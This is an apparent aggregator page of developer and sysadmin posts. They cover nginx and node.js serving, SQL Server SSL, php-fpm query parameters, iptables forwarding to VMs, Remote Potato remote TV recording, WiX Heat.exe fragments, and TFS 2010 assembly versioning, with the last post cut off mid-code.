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• I have a NGINX server configured to work with node.js, but many times a file of 1.03MB of js is not loaded by various browser and various pc

  - by Totty

  I'm using this in a local LAN so it should be quite fast. The nginx server use the node.js server to serve static files, so it must pass throught node.js to download the files, but that is not a problem when I'm not using the nginx. In chrome with debugger on I can see that the status is: 206 - partial content and it only has downloaded 31KB of 1.03MB. After 1.1 min it turns red and the status failed. Waiting time: 6ms Receiving: 1.1 min The headers in google chrom: Request URL:http://192.168.1.16/production/assembly/script/production.js Request Method:GET Status Code:206 Partial Content Request Headersview source Accept:*/* Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3 Accept-Encoding:gzip,deflate,sdch Accept-Language:pt-PT,pt;q=0.8,en-US;q=0.6,en;q=0.4 Connection:keep-alive Cookie:connect.sid=s%3Abls2qobcCaJ%2FyBNZwedtDR9N.0vD4Fi03H1bEdCszGsxIjjK0lZIjJhLnToWKFVxZOiE Host:192.168.1.16 If-Range:"1081715-1350053827000" Range:bytes=16090-16090 Referer:http://192.168.1.16/production/assembly/ User-Agent:Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 Response Headersview source Accept-Ranges:bytes Cache-Control:public, max-age=0 Connection:keep-alive Content-Length:1 Content-Range:bytes 16090-16090/1081715 Content-Type:application/javascript Date:Mon, 15 Oct 2012 09:18:50 GMT ETag:"1081715-1350053827000" Last-Modified:Fri, 12 Oct 2012 14:57:07 GMT Server:nginx/1.1.19 X-Powered-By:Express My nginx configurations: File 1: user totty; worker_processes 4; pid /var/run/nginx.pid; events { worker_connections 768; # multi_accept on; } http { ## # Basic Settings ## sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 65; types_hash_max_size 2048; # server_tokens off; # server_names_hash_bucket_size 64; # server_name_in_redirect off; include /etc/nginx/mime.types; default_type application/octet-stream; ## # Logging Settings ## access_log /home/totty/web/production01_server/node_modules/production/_logs/_NGINX_access.txt; error_log /home/totty/web/production01_server/node_modules/production/_logs/_NGINX_error.txt; ## # Gzip Settings ## gzip on; gzip_disable "msie6"; # gzip_vary on; # gzip_proxied any; # gzip_comp_level 6; # gzip_buffers 16 8k; # gzip_http_version 1.1; # gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript; ## # nginx-naxsi config ## # Uncomment it if you installed nginx-naxsi ## #include /etc/nginx/naxsi_core.rules; ## # nginx-passenger config ## # Uncomment it if you installed nginx-passenger ## #passenger_root /usr; #passenger_ruby /usr/bin/ruby; ## # Virtual Host Configs ## autoindex on; include /home/totty/web/production01_server/_deployment/nginxConfigs/server/*; } File that is included by the previous file: server { # custom location for entry # using only "/" instead of "/production/assembly" it # would allow you to go to "thatip/". In this way # we are limiting to "thatip/production/assembly/" location /production/assembly/ { # ip and port used in node.js proxy_pass http://127.0.0.1:3000/; } location /production/assembly.mongo/ { proxy_pass http://127.0.0.1:9000/; proxy_redirect off; } location /production/assembly.logs/ { autoindex on; alias /home/totty/web/production01_server/node_modules/production/_logs/; } }

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• SQL Server 2000 and SSL Encryption

  - by Angry_IT_Guru

  We are a datacenter that hsots a SQL Server 2000 environment which provides database services for a product we sell that is loaded as a rich-client applicatin at each of our many clients and their workstations. Currently today, the application uses straight ODBC connections from the client site to our datacenter. We need to begin encrypting the credentials -- since everything is clear-text today and the authentication is weakly encrypted -- and I'm trying to determine the best way to implement SSL on the server with minimizing the impact of the client. A few things, however: 1) We have our own Windows domain and all our servers are joined to our private domain. Our clietns no nothing of our domain. 2) Typically, our clients connect to our datacenter servers either by: a) Using TCP/IP address b) Using a DNS name that we publish via internet, zone transfers from our DNS servers to our customers, or the client can add static HOSTS entries. 3) From what I understand from enabling encryption is that I can go to the Network Utility and select the "encryption" option for the protocol that I wish to encrypt. Such as TCP/IP. 4) When the encryption option is selected, I have a choice of installing a third-party certificate or a self-signed. I have tested the self-signed, but do have potential issues. I'll explain in a bit. If I go with a third-party cert, such as Verisign, or Network solutions... what kind of certificate do I request? These aren't IIS certificates? When I go create a self-signed via Microsoft's certificate server, I have to select "Authentication certificate". What does this translate to in the third-party world? 5) If I create a self-signed certificate, I understand that the "issue to" name has to match the FQDN for the server that is running SQL. In my case, I have to use my private domain name. If I use this, what does this do for my clients when trying to connect to my SQL Server? Surely they cannot resolve my private DNS names on their network.... I've also verified that when the self-signed certificate is installed, it has to be in the local personal store for the user account that is running SQL Server. SQL Server will only start if the FQDN matches the "issue to" of the certificate and SQL is running under the account that has the certificate installed. If I use a self-signed certificate, does this mean I have to have every one of my clients install it to verify? 6) If I used a third-party certificate, which sounds like the best option, do all my clients have to have internet access when accessing my private servers of their private WAN connection to use to verify the certificate? What do I do about the FQDN? It sounds like they have to use my private domain name -- which is not published -- and can no longer use the one that I setup for them to use? 7) I plan on upgrading to SQL 2000 soon. Is setup of SSL any easier/better with SQL 2005 than SQL 2000? Any help or guiadance would be appreciated

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• nginx + php-fpm - where are my $_GET params?

  - by egis

  I have a strange problem here. I just moved from apache + mod_php to nginx + php-fpm. Everything went fine except this one problem. I have a site, let's say example.com. When I access it like example.com?test=get_param $_SERVER['REQUEST_URI'] is /?test=get_param and there is a $_GET['test'] also. But when I access example.com/ajax/search/?search=get_param $_SERVER['REQUEST_URI'] is /ajax/search/?search=get_param yet there is no $_GET['search'] (there is no $_GET array at all). I'm using Kohana framework. which routes /ajax/search to controller, but I've put phpinfo() at index.php so I'm checking for $_GET variables before framework does anything (this means that disapearing get params aren't frameworks fault). My nginx.conf is like this worker_processes 4; pid logs/nginx.pid; events { worker_connections 1024; } http { index index.html index.php; autoindex on; autoindex_exact_size off; include mime.types; default_type application/octet-stream; server_names_hash_bucket_size 128; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log logs/access.log main; error_log logs/error.log debug; sendfile on; tcp_nopush on; tcp_nodelay off; keepalive_timeout 2; gzip on; gzip_comp_level 2; gzip_proxied any; gzip_types text/plain text/css application/x-javascript text/xml application/xml application/xml+rss text/javascript; include sites-enabled/*; } and example.conf is like this server { listen 80; server_name www.example.com; rewrite ^ $scheme://example.com$request_uri? permanent; } server { listen 80; server_name example.com; root /var/www/example/; location ~ /\. { return 404; } location / { try_files $uri $uri/ /index.php; } location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include /usr/local/nginx/conf/fastcgi_params; } location ~* ^/(modules|application|system) { return 403; } # serve static files directly location ~* ^.+.(jpg|jpeg|gif|css|png|js|ico|html|xml|txt)$ { access_log off; expires 30d; } } fastcgi_params is like this fastcgi_param QUERY_STRING $query_string; fastcgi_param REQUEST_METHOD $request_method; fastcgi_param CONTENT_TYPE $content_type; fastcgi_param CONTENT_LENGTH $content_length; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_param REQUEST_URI $request_uri; fastcgi_param DOCUMENT_URI $document_uri; fastcgi_param DOCUMENT_ROOT $document_root; fastcgi_param SERVER_PROTOCOL $server_protocol; fastcgi_param GATEWAY_INTERFACE CGI/1.1; fastcgi_param SERVER_SOFTWARE nginx/$nginx_version; fastcgi_param REMOTE_ADDR $remote_addr; fastcgi_param REMOTE_PORT $remote_port; fastcgi_param SERVER_ADDR $server_addr; fastcgi_param SERVER_PORT $server_port; fastcgi_param SERVER_NAME $server_name; # PHP only, required if PHP was built with --enable-force-cgi-redirect fastcgi_param REDIRECT_STATUS 200; fastcgi_connect_timeout 60; fastcgi_send_timeout 180; fastcgi_read_timeout 180; fastcgi_buffer_size 128k; fastcgi_buffers 4 256k; fastcgi_busy_buffers_size 256k; fastcgi_temp_file_write_size 256k; fastcgi_intercept_errors on; fastcgi_param QUERY_STRING $query_string; fastcgi_param PATH_INFO $fastcgi_path_info; What is the problem here? By the way there are few more sites on the same server, both Kohana based and plain php, that are working perfectly.

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• nginx + php-fpm - where are my $_GET params?

  - by egis

  Hello everyone, I have a strange problem here. I just moved from apache + mod_php to nginx + php-fpm. Everything went fine except this one problem. I have a site, let's say example.com. When I access it like example.com?test=get_param $_SERVER['REQUEST_URI'] is /?test=get_param and there is a $_GET['test'] also. But when I access example.com/ajax/search/?search=get_param $_SERVER['REQUEST_URI'] is /ajax/search/?search=get_param yet there is no $_GET['search'] (there is no $_GET array at all). I'm using Kohana framework. which routes /ajax/search to controller, but I've put phpinfo() at index.php so I'm checking for $_GET variables before framework does anything (this means that disapearing get params aren't frameworks fault). My nginx.conf is like this worker_processes 4; pid logs/nginx.pid; events { worker_connections 1024; } http { index index.html index.php; autoindex on; autoindex_exact_size off; include mime.types; default_type application/octet-stream; server_names_hash_bucket_size 128; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log logs/access.log main; error_log logs/error.log debug; sendfile on; tcp_nopush on; tcp_nodelay off; keepalive_timeout 2; gzip on; gzip_comp_level 2; gzip_proxied any; gzip_types text/plain text/css application/x-javascript text/xml application/xml application/xml+rss text/javascript; include sites-enabled/*; } and example.conf is like this server { listen 80; server_name www.example.com; rewrite ^ $scheme://example.com$request_uri? permanent; } server { listen 80; server_name example.com; root /var/www/example/; location ~ /\. { return 404; } location / { try_files $uri $uri/ /index.php; } location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include /usr/local/nginx/conf/fastcgi_params; } location ~* ^/(modules|application|system) { return 403; } # serve static files directly location ~* ^.+.(jpg|jpeg|gif|css|png|js|ico|html|xml|txt)$ { access_log off; expires 30d; } } fastcgi_params is like this fastcgi_param QUERY_STRING $query_string; fastcgi_param REQUEST_METHOD $request_method; fastcgi_param CONTENT_TYPE $content_type; fastcgi_param CONTENT_LENGTH $content_length; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_param REQUEST_URI $request_uri; fastcgi_param DOCUMENT_URI $document_uri; fastcgi_param DOCUMENT_ROOT $document_root; fastcgi_param SERVER_PROTOCOL $server_protocol; fastcgi_param GATEWAY_INTERFACE CGI/1.1; fastcgi_param SERVER_SOFTWARE nginx/$nginx_version; fastcgi_param REMOTE_ADDR $remote_addr; fastcgi_param REMOTE_PORT $remote_port; fastcgi_param SERVER_ADDR $server_addr; fastcgi_param SERVER_PORT $server_port; fastcgi_param SERVER_NAME $server_name; # PHP only, required if PHP was built with --enable-force-cgi-redirect fastcgi_param REDIRECT_STATUS 200; fastcgi_connect_timeout 60; fastcgi_send_timeout 180; fastcgi_read_timeout 180; fastcgi_buffer_size 128k; fastcgi_buffers 4 256k; fastcgi_busy_buffers_size 256k; fastcgi_temp_file_write_size 256k; fastcgi_intercept_errors on; fastcgi_param QUERY_STRING $query_string; fastcgi_param PATH_INFO $fastcgi_path_info; What is the problem here? By the way there are few more sites on the same server, both Kohana based and plain php, that are working perfectly.

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• How to use iptables to forward all data from an IP to a Virtual Machine

  - by jro

  OK, in an attempt to get some response, a TL;DR version. I know that the following command: iptables -A PREROUTING -t nat -i eth0 --dport 80 --source 1.1.1.1 -j REDIRECT --to-port 8080 ... will redirect all traffic from port 80 to port 8080. The problem is that I have to do this for every port that is to be redirected. To be future-proof, I want all ports for an IP to be redirected to a different (internal) IP, so that if one might decide to enable SSH, they can directly connect without worrying about iptables. What is needed to reliable forward all traffic from an external IP, to an internal IP, and vice versa? Extended version I've scoured the internet for this, but I never got a solid answer. What I have is one physical server (HOST), with several virtual machines (VM) that need traffic redirected to them. Just getting it to work with a single machine is enough for now. The VM's run under VirtualBox, and are set to use a host-only adapter (vboxnet0). Everything seems to work, but it is greatly lagging. Both the host (CentOS 5.6) and the guest (Ubuntu 10.04) machine are running Linux. What I did was the following: Configure the VM to have a static IP in the network of the vboxnet0 adapter. Add an IP alias to the host, registering to the dedicated (outside) IP. Setup iptables to allow traffic to come through (via sysctl). Configure iptables to DNAT and SNAT data from a given IP address to the internal address. iptables commands: sudo iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT sudo iptables -A POSTROUTING -t nat -j MASQUERADE iptables -t nat -I PREROUTING -d $OUT_IP -I eth0 -j DNAT --to-destination $IN_IP iptables -t nat -I POSTROUTING -s $IN_IP -o eth0 -j SNAT --to-source $OUT_IP Now the site works, but is really, really slow. I'm hoping I missed something simple, but I'm out of ideas for now. Some background info: before this, the site was working with basic port forwarding. E.g. port 80 was mapped to port 8080 using iptables. In VirtualBox (having the network adapter configured as NAT), a port forwarding the other way around made things work beautifully. The problem was twofold: first, multiple ports needed to be forwarded (for admin interfaces, https, ssh, etc). Second, it only allowed one IP address to use port 80. To resolve things, multiple external IP addresses are used for different (sub)domains. Likewise, the "VirtualBox" network will contain the virtual machines: DNS Ext. IP Adapter VM "VirtalBox" IP ------------------------------------------------------------------ a.example.com 1.1.1.1 eth0:1 vm_guest_1 192.168.56.1 b.example.com 2.2.2.2 eth0:2 vm_guest_2 192.168.56.2 c.example.com 3.3.3.3 eth0:3 vm_guest_3 192.168.56.3 And so on. Put simply, the goal is to channel all traffic from a.example.com to vm_guest_1 (of put differently, from 1.1.1.1 to 192.168.56.1). And achieve this with an acceptable speed :).

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• Remotely Schedule and Stream Recorded TV in Windows 7 Media Center

  - by DigitalGeekery

  Have you ever been away from home and suddenly realized you forgot to record your favorite program? Now Windows 7 Media Center, users can schedule recordings remotely from their phones or mobile devices with Remote Potato. How it Works Remote Potato installs server software on the host computer running Windows 7 Media Center. Once the software is installed, we’ll need to do some port forwarding on the router and setup an optional dynamic DNS address. When setup is completed, we will access the application through a web based interface. Silverlight is required for Streaming recorded TV, but scheduling recordings can be done through an HTML interface. Installing Remote Potato Download and install Remote Potato on the Media Center PC. (See download link below) If you plan to stream any Recorded TV, you’ll also want to install the streaming pack located on the same page. It isn’t required to stream all shows, only shows that require the AC3 audio codec. Click Yes to allow Remote Potato to add rules to the Windows Firewall for remote access. You’ll likely need to accept a few UAC prompts. When notified that the rules were added, click OK. Remote Potato will then prompt you to allow administrator privileges to reserve a URL for it’s web server. Click Yes. Remote Potato server will start. Click on the configuration button at the right to to reveal the settings tabs.   One the General tab, you’ll have the option to run Remote Potato on startup and minimized in the System Tray. If you’re running Media Center on a dedicated HTPC, you’ll probably want to enable both startup options. Forwarding Ports on Your Router You’ll need to forward a couple ports on your router. By default, these will be ports 9080 and 9081. In this example we’re using a Linksys WRT54GL router, however, the steps for port forwarding will vary from router to router. On the Linksys configuration page, click on the Applications & Gaming Tab, and then the Port Range Forward tab. Under Application, type in a name of your choosing. In both the Start and End boxes, type the port number 9080. Enter the local IP address of your Media Center computer in the IP address column. Click the check box under Enable. Repeat the process on the next line, but this time use port 9081. When finished, click the Save Settings button. Note: It’s highly recommended that you configure the home computer running Media Center & Remote Potato with a static IP address.   Find your IP Address You’ll need to find the IP address assigned to your router from your ISP. There are many ways to do this but a quick and easy way is to visit a site like checkip.dyndns.org (link available below) The current external IP address of your router will be displayed in the browser.   Dynamic DNS This is an optional step, but  it’s highly recommended. Many routers, such as the Linksys WRT54GL we are using, support Dynamic DNS (DDNS). What Dynamic DNS allows you to do is affiliate your home router’s external IP address to a domain name. Every time your home router is assigned a a new IP address by your ISP, the domain name is updated to point to your new IP address. Remote Potato’s user interface is accessed over the Internet is by connecting to your router’s IP address followed by a colon and the port number. (Ex: XXX.XXX.XXX.XXX:9080) Instead of constantly having to look up and remember an IP address, you can use DDNS along with a 3rd party provider like DynDNS.com, to sign up for a free domain name and configure it to be updated each time your router is assigned a new IP address. Go to the DynDNS.com website (See link at the end of the article) and sign up for a free Domain name. You’ll need to register and confirm by email.   Once you’ve signed in and selected your domain name click Activate Services. You’ll get a confirmation message that your domain name has been activated.    On the Linksys WRT54GL click on the Setup tab an then DDNS. Select DynDNS.org, or TZO.com if you prefer to use their service, from the drop down list.   With DynDNS, you’ll need to fill in your username and password you signed up with at the DynDNS website and the hostname you chose. Note: You can connect over your local network with the IP Address of the computer running Remote Potato followed by a colon and the port number. Ex: 192.168.1.2:9080 Logging in Remote Potato and Recording a Show Once you connect, you’ll see the start page. To view the TV listings, click on TV Guide. You’ll then see your guide listings. There are a few ways to navigate the listings. At the top left, you can click on any of the preset time buttons to jump to  the listings at that time of the day.  Click on the arrows to the right and left of the day and date at the top center to proceed to the previous or next day. Or, jump to a specific day with the date and date buttons at the top right.   To setup a recording, click on a program.   You can choose to record the individual show or the entire series by clicking on Record Show or Record Series.   Remote Potato on Mobile Devices Perhaps the coolest feature of Remote Potato is the ability to schedule recording from your phone or mobile device. Note: For any devices or computers without Silverlight, you will be prompted to view the HTML page. Select Browse Listings. Select your program to record. In the Program Details, select Record Show to record the single episode or Record Series to record all instances of the series. You will then see a red dot on the program listing to indicate that the show is scheduled for recording.   Streaming Recorded TV Click on Recorded TV from the home screen to access your previously recorded TV programs. Click on the selection you wish to stream. Click on Play. If you receive this error message, you’ll need to install the streaming pack for Remote Potato. This is found on the same download page as installation files. (See link below) The Begin from slider allows you to start playback from the start (by default) or a different time of the program by moving the slider. The Quality (bitrate) setting  allows you to choose the quality of the playback. We found the video quality on the Normal setting to be pretty lousy, and Low was just pointless. High was the best overall viewing experience as it provided smooth quality video playback. We experienced significant stuttering during playback using the Ultra High setting.   Click Start when you are ready to begin. When playback begins you’ll see a slider at the top right.   Move the slider left or right to increase or decrease the size of the video. There’s also a button to switch to full screen.   Media Center users who travel frequently or are always on the go will likely find Remote Potato to be a blessing. Since being released earlier this year, updates for Remote Potato have come fast and furious. The latest beta release includes support for streaming music and photos. If you like those nice network TV logos, check out our article on adding TV channel logos to Windows Media Center. Downloads and Links Download Remote Potato and Streaming Pack Find your IP address Sign Up for a Domain Name at DynDNS.com Similar Articles Productive Geek Tips Schedule Updates for Windows Media CenterUsing Netflix Watchnow in Windows Vista Media Center (Gmedia)Add a Sleep Timer to Windows 7 Media CenterStartup Customizations for Media Center in Windows 7Enable Media Streaming in Windows Home Server to Windows Media Player TouchFreeze Alternative in AutoHotkey The Icy Undertow Desktop Windows Home Server – Backup to LAN The Clear & Clean Desktop Use This Bookmarklet to Easily Get Albums Use AutoHotkey to Assign a Hotkey to a Specific Window Latest Software Reviews Tinyhacker Random Tips DVDFab 6 Revo Uninstaller Pro Registry Mechanic 9 for Windows PC Tools Internet Security Suite 2010 FoxClocks adds World Times in your Statusbar (Firefox) Have Fun Editing Photo Editing with Citrify Outlook Connector Upgrade Error Gadfly is a cool Twitter/Silverlight app Enable DreamScene in Windows 7 Microsoft’s “How Do I ?” Videos

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• WiX 3 Tutorial: Generating file/directory fragments with Heat.exe

  - by Mladen Prajdic

  In previous posts I’ve shown you our SuperForm test application solution structure and how the main wxs and wxi include file look like. In this post I’ll show you how to automate inclusion of files to install into your build process. For our SuperForm application we have a single exe to install. But in the real world we have 10s or 100s of different files from dll’s to resource files like pictures. It all depends on what kind of application you’re building. Writing a directory structure for so many files by hand is out of the question. What we need is an automated way to create this structure. Enter Heat.exe. Heat is a command line utility to harvest a file, directory, Visual Studio project, IIS website or performance counters. You might ask what harvesting means? Harvesting is converting a source (file, directory, …) into a component structure saved in a WiX fragment (a wxs) file. There are 2 options you can use: Create a static wxs fragment with Heat and include it in your project. The pro of this is that you can add or remove components by hand. The con is that you have to do the pro part by hand. Automation always beats manual labor. Run heat command line utility in a pre-build event of your WiX project. I prefer this way. By always recreating the whole fragment you don’t have to worry about missing any new files you add. The con of this is that you’ll include files that you otherwise might not want to. There is no perfect solution so pick one and deal with it. I prefer using the second way. A neat way of overcoming the con of the second option is to have a post-build event on your main application project (SuperForm.MainApp in our case) to copy the files needed to be installed in a special location and have the Heat.exe read them from there. I haven’t set this up for this tutorial and I’m simply including all files from the default SuperForm.MainApp \bin directory. Remember how we created a System Environment variable called SuperFormFilesDir? This is where we’ll use it for the first time. The command line text that you have to put into the pre-build event of your WiX project looks like this: "$(WIX)bin\heat.exe" dir "$(SuperFormFilesDir)" -cg SuperFormFiles -gg -scom -sreg -sfrag -srd -dr INSTALLLOCATION -var env.SuperFormFilesDir -out "$(ProjectDir)Fragments\FilesFragment.wxs" After you install WiX you’ll get the WIX environment variable. In the pre/post-build events environment variables are referenced like this: $(WIX). By using this you don’t have to think about the installation path of the WiX. Remember: for 32 bit applications Program files folder is named differently between 32 and 64 bit systems. $(ProjectDir) is obviously the path to your project and is a Visual Studio built in variable. You can view all Heat.exe options by running it without parameters but I’ll explain some that stick out the most. dir "$(SuperFormFilesDir)": tell Heat to harvest the whole directory at the set location. That is the location we’ve set in our System Environment variable. –cg SuperFormFiles: the name of the Component group that will be created. This name is included in out Feature tag as is seen in the previous post. -dr INSTALLLOCATION: the directory reference this fragment will fall under. You can see the top level directory structure in the previous post. -var env.SuperFormFilesDir: the name of the variable that will replace the SourceDir text that would otherwise appear in the fragment file. -out "$(ProjectDir)Fragments\FilesFragment.wxs": the full path and name under which the fragment file will be saved. If you have source control you have to include the FilesFragment.wxs into your project but remove its source control binding. The auto generated FilesFragment.wxs for our test app looks like this: <?xml version="1.0" encoding="utf-8"?><Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Fragment> <ComponentGroup Id="SuperFormFiles"> <ComponentRef Id="cmp5BB40DB822CAA7C5295227894A07502E" /> <ComponentRef Id="cmpCFD331F5E0E471FC42A1334A1098E144" /> <ComponentRef Id="cmp4614DD03D8974B7C1FC39E7B82F19574" /> <ComponentRef Id="cmpDF166522884E2454382277128BD866EC" /> </ComponentGroup> </Fragment> <Fragment> <DirectoryRef Id="INSTALLLOCATION"> <Component Id="cmp5BB40DB822CAA7C5295227894A07502E" Guid="{117E3352-2F0C-4E19-AD96-03D354751B8D}"> <File Id="filDCA561ABF8964292B6BC0D0726E8EFAD" KeyPath="yes" Source="$(env.SuperFormFilesDir)\SuperForm.MainApp.exe" /> </Component> <Component Id="cmpCFD331F5E0E471FC42A1334A1098E144" Guid="{369A2347-97DD-45CA-A4D1-62BB706EA329}"> <File Id="filA9BE65B2AB60F3CE41105364EDE33D27" KeyPath="yes" Source="$(env.SuperFormFilesDir)\SuperForm.MainApp.pdb" /> </Component> <Component Id="cmp4614DD03D8974B7C1FC39E7B82F19574" Guid="{3443EBE2-168F-4380-BC41-26D71A0DB1C7}"> <File Id="fil5102E75B91F3DAFA6F70DA57F4C126ED" KeyPath="yes" Source="$(env.SuperFormFilesDir)\SuperForm.MainApp.vshost.exe" /> </Component> <Component Id="cmpDF166522884E2454382277128BD866EC" Guid="{0C0F3D18-56EB-41FE-B0BD-FD2C131572DB}"> <File Id="filF7CA5083B4997E1DEC435554423E675C" KeyPath="yes" Source="$(env.SuperFormFilesDir)\SuperForm.MainApp.vshost.exe.manifest" /> </Component> </DirectoryRef> </Fragment></Wix> The $(env.SuperFormFilesDir) will be replaced at build time with the directory where the files to be installed are located. There is nothing too complicated about this. In the end it turns out that this sort of automation is great! There are a few other ways that Heat.exe can compose the wxs file but this is the one I prefer. It just seems the clearest. Play with its options to see what can it do. It’s one awesome little tool.   WiX 3 tutorial by Mladen Prajdic navigation WiX 3 Tutorial: Solution/Project structure and Dev resources WiX 3 Tutorial: Understanding main wxs and wxi file WiX 3 Tutorial: Generating file/directory fragments with Heat.exe

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• Version Assemblies with TFS 2010 Continuous Integration

  - by Steve Michelotti

  When I first heard that TFS 2010 had moved to Workflow Foundation for Team Build, I was *extremely* skeptical. I’ve loved MSBuild and didn’t quite understand the reasons for this change. In fact, given that I’ve been exclusively using Cruise Control for Continuous Integration (CI) for the last 5+ years of my career, I was skeptical of TFS for CI in general. However, after going through the learning process for TFS 2010 recently, I’m starting to become a believer. I’m also starting to see some of the benefits with Workflow Foundation for the overall processing because it gives you constructs not available in MSBuild such as parallel tasks, better control flow constructs, and a slightly better customization story. The first customization I had to make to the build process was to version the assemblies of my solution. This is not new. In fact, I’d recommend reading Mike Fourie’s well known post on Versioning Code in TFS before you get started. This post describes several foundational aspects of versioning assemblies regardless of your version of TFS. The main points are: 1) don’t use source control operations for your version file, 2) use a schema like <Major>.<Minor>.<IncrementalNumber>.0, and 3) do not keep AssemblyVersion and AssemblyFileVersion in sync. To do this in TFS 2010, the best post I’ve found has been Jim Lamb’s post of building a custom TFS 2010 workflow activity. Overall, this post is excellent but the primary issue I have with it is that the assembly version numbers produced are based in a date and look like this: “2010.5.15.1”. This is definitely not what I want. I want to be able to communicate to the developers and stakeholders that we are producing the “1.1 release” or “1.2 release” – which would have an assembly version number of “1.1.317.0” for example. In this post, I’ll walk through the process of customizing the assembly version number based on this method – customizing the concepts in Lamb’s post to suit my needs. I’ll also be combining this with the concepts of Fourie’s post – particularly with regards to the standards around how to version the assemblies. The first thing I’ll do is add a file called SolutionAssemblyVersionInfo.cs to the root of my solution that looks like this: 1: using System; 2: using System.Reflection; 3: [assembly: AssemblyVersion("1.1.0.0")] 4: [assembly: AssemblyFileVersion("1.1.0.0")] I’ll then add that file as a Visual Studio link file to each project in my solution by right-clicking the project, “Add – Existing Item…” then when I click the SolutionAssemblyVersionInfo.cs file, making sure I “Add As Link”: Now the Solution Explorer will show our file. We can see that it’s a “link” file because of the black arrow in the icon within all our projects. Of course you’ll need to remove the AssemblyVersion and AssemblyFileVersion attributes from the AssemblyInfo.cs files to avoid the duplicate attributes since they now leave in the SolutionAssemblyVersionInfo.cs file. This is an extremely common technique so that all the projects in our solution can be versioned as a unit. At this point, we’re ready to write our custom activity. The primary consideration is that I want the developer and/or tech lead to be able to easily be in control of the Major.Minor and then I want the CI process to add the third number with a unique incremental number. We’ll leave the fourth position always “0” for now – it’s held in reserve in case the day ever comes where we need to do an emergency patch to Production based on a branched version.   Writing the Custom Workflow Activity Similar to Lamb’s post, I’m going to write two custom workflow activities. The “outer” activity (a xaml activity) will be pretty straight forward. It will check if the solution version file exists in the solution root and, if so, delegate the replacement of version to the AssemblyVersionInfo activity which is a CodeActivity highlighted in red below:   Notice that the arguments of this activity are the “solutionVersionFile” and “tfsBuildNumber” which will be passed in. The tfsBuildNumber passed in will look something like this: “CI_MyApplication.4” and we’ll need to grab the “4” (i.e., the incremental revision number) and put that in the third position. Then we’ll need to honor whatever was specified for Major.Minor in the SolutionAssemblyVersionInfo.cs file. For example, if the SolutionAssemblyVersionInfo.cs file had “1.1.0.0” for the AssemblyVersion (as shown in the first code block near the beginning of this post), then we want to resulting file to have “1.1.4.0”. Before we do anything, let’s put together a unit test for all this so we can know if we get it right: 1: [TestMethod] 2: public void Assembly_version_should_be_parsed_correctly_from_build_name() 3: { 4: // arrange 5: const string versionFile = "SolutionAssemblyVersionInfo.cs"; 6: WriteTestVersionFile(versionFile); 7: var activity = new VersionAssemblies(); 8: var arguments = new Dictionary<string, object> { 9: { "tfsBuildNumber", "CI_MyApplication.4"}, 10: { "solutionVersionFile", versionFile} 11: }; 12:   13: // act 14: var result = WorkflowInvoker.Invoke(activity, arguments); 15:   16: // assert 17: Assert.AreEqual("1.2.4.0", (string)result["newAssemblyFileVersion"]); 18: var lines = File.ReadAllLines(versionFile); 19: Assert.IsTrue(lines.Contains("[assembly: AssemblyVersion(\"1.2.0.0\")]")); 20: Assert.IsTrue(lines.Contains("[assembly: AssemblyFileVersion(\"1.2.4.0\")]")); 21: } 22: 23: private void WriteTestVersionFile(string versionFile) 24: { 25: var fileContents = "using System.Reflection;\n" + 26: "[assembly: AssemblyVersion(\"1.2.0.0\")]\n" + 27: "[assembly: AssemblyFileVersion(\"1.2.0.0\")]"; 28: File.WriteAllText(versionFile, fileContents); 29: }   At this point, the code for our AssemblyVersion activity is pretty straight forward: 1: [BuildActivity(HostEnvironmentOption.Agent)] 2: public class AssemblyVersionInfo : CodeActivity 3: { 4: [RequiredArgument] 5: public InArgument<string> FileName { get; set; } 6:   7: [RequiredArgument] 8: public InArgument<string> TfsBuildNumber { get; set; } 9:   10: public OutArgument<string> NewAssemblyFileVersion { get; set; } 11:   12: protected override void Execute(CodeActivityContext context) 13: { 14: var solutionVersionFile = this.FileName.Get(context); 15: 16: // Ensure that the file is writeable 17: var fileAttributes = File.GetAttributes(solutionVersionFile); 18: File.SetAttributes(solutionVersionFile, fileAttributes & ~FileAttributes.ReadOnly); 19:   20: // Prepare assembly versions 21: var majorMinor = GetAssemblyMajorMinorVersionBasedOnExisting(solutionVersionFile); 22: var newBuildNumber = GetNewBuildNumber(this.TfsBuildNumber.Get(context)); 23: var newAssemblyVersion = string.Format("{0}.{1}.0.0", majorMinor.Item1, majorMinor.Item2); 24: var newAssemblyFileVersion = string.Format("{0}.{1}.{2}.0", majorMinor.Item1, majorMinor.Item2, newBuildNumber); 25: this.NewAssemblyFileVersion.Set(context, newAssemblyFileVersion); 26:   27: // Perform the actual replacement 28: var contents = this.GetFileContents(newAssemblyVersion, newAssemblyFileVersion); 29: File.WriteAllText(solutionVersionFile, contents); 30:   31: // Restore the file's original attributes 32: File.SetAttributes(solutionVersionFile, fileAttributes); 33: } 34:   35: #region Private Methods 36:   37: private string GetFileContents(string newAssemblyVersion, string newAssemblyFileVersion) 38: { 39: var cs = new StringBuilder(); 40: cs.AppendLine("using System.Reflection;"); 41: cs.AppendFormat("[assembly: AssemblyVersion(\"{0}\")]", newAssemblyVersion); 42: cs.AppendLine(); 43: cs.AppendFormat("[assembly: AssemblyFileVersion(\"{0}\")]", newAssemblyFileVersion); 44: return cs.ToString(); 45: } 46:   47: private Tuple<string, string> GetAssemblyMajorMinorVersionBasedOnExisting(string filePath) 48: { 49: var lines = File.ReadAllLines(filePath); 50: var versionLine = lines.Where(x => x.Contains("AssemblyVersion")).FirstOrDefault(); 51:   52: if (versionLine == null) 53: { 54: throw new InvalidOperationException("File does not contain [assembly: 